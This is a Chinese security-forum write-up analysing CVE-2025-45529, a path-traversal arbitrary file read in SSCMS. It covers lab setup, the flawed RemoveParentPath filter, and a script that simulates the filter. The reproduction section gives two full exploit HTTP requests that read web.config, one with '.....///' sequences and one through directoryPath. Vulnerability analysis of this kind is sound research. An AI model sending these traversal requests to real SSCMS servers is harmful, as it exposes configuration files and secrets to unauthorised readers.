问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2025-45529 sscms存在任意文件读取漏洞分析
漏洞分析
SSCMS 内容管理系统是基于微软 .NET Core 平台开发,本文将对其CVE-2025-45529分析
一、漏洞简介 ====== ReadTextAsynchronous 是一个文件读取函数。点击“PathUtils”中的“Removed ParentPath”,发现存在过滤,并且可以绕过 二、影响版本 ====== <=v7.3.1 三、环境搭建 ====== 搭建教程: 安装IIS  然后选择角色服务  IIS 配置完毕后需要安装 .NET Core 托管捆绑包  然后配置   配置应用程序池为无托管代码  这里会有一个报错:  笔者删除了web.comfig的内容 打开 Web.config 文件,将 ```xml <modules> <remove name="WebDAVModule" /> </modules> ``` 以及 ```xml <remove name="WebDAV" /> ``` 删除,重启 IIS 服务即可。 搭建成功:  四、漏洞原理分析 ======== SSCMS 内容管理系统基于微软 .NET Core 平台开发,用于创建在 Windows、Linux、Mac 以及 Docker 上运行的 Web 应用程序和服务。 根据漏洞点定位到/cms/templates/templatesAssetsEditor路由下,然后发现该路由的目录就是/api/admin/cms/templates/templatesAssetsEditor  然后发现该路由存在四个可控参数分别为:SiteId、DirectoryPath、FileName、FileType  `ReadTextAsync` 函数,是用于**异步读取文件内容**的方法,因此我们控制filePath的话就可以进行任意文件读取 但是这里存在一个过滤`string fileName = PathUtils.RemoveParentPath(request.FileName);`  点进`PathUtils.RemoveParentPath`发现  这里过滤可以进行绕过 写一个脚本,发现该过滤可以进行测试绕过 ```shell import sys while True: path = input("请输入路径 (输入 'q' 退出): ") if path.lower() == 'q': break retVal = path.replace("../", "") retVal = retVal.replace("..\\", "") retVal = retVal.replace("./", "") retVal = retVal.replace(".\\", "") print("过滤后的路径:", retVal) ```  然后进行拼接.....///.....///进行任意文件读取 五、漏洞复现 ====== exp: ```shell GET /api/admin/cms/templates/templatesAssetsEditor?directoryPath=&fileName=.....///.....///.....///.....///.....///.....///www/sscms/web.config&fileType=html&siteId=1 HTTP/1.1 Host: 192.168.202.131 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1laWQiOiIxIiwibmFtZSI6ImFkbWluIiwicm9sZSI6IkFkbWluaXN0cmF0b3IiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL2lzcGVyc2lzdGVudCI6IkZhbHNlIiwibmJmIjoxNzQyMjg5NjcxLCJleHAiOjE3NDIzNzYwNzEsImlhdCI6MTc0MjI4OTY3MX0.p0B6elCBkgsVoOO8AaW524HsKMceoGQBkvBh8zXVWCg Connection: close Upgrade-Insecure-Requests: 1 Priority: u=0, i ```  这里笔者还有一个彩蛋,根据上面文章知道`fileName`参数经过了`RemoveParentPath`进行了一个过滤的操作,但是filepath这个参数是由site, directoryPath, fileName这三个拼接构成的,但是上述代码只对于fileName进行过滤 因此这里还存在第二种绕过方式,直接通过控制directoryPath参数实现任意文件读取。 exp: ```php GET /api/admin/cms/templates/templatesAssetsEditor?directoryPath=../../../../../&fileName=www/sscms/web.config&fileType=html&siteId=1 HTTP/1.1 Host: 192.168.202.134 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1laWQiOiIxIiwibmFtZSI6ImFkbWluIiwicm9sZSI6IkFkbWluaXN0cmF0b3IiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL2lzcGVyc2lzdGVudCI6IkZhbHNlIiwibmJmIjoxNzQyMjk3MjAzLCJleHAiOjE3NDIzODM2MDMsImlhdCI6MTc0MjI5NzIwM30.yE5-ratuYoip4CXvcN3UHds72Su0vAGfKyZg9IWz-vY Connection: close Referer: http://192.168.202.134/ss-admin/?siteId=1 ```  六、总结 ==== 该漏洞形成的原因是由于过滤不严,导致还可以进行骚操作绕过
发表于 2025-06-05 15:00:01
阅读 ( 373 )
分类:
CMS
0 推荐
收藏
0 条评论
请先
登录
后评论
kode
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!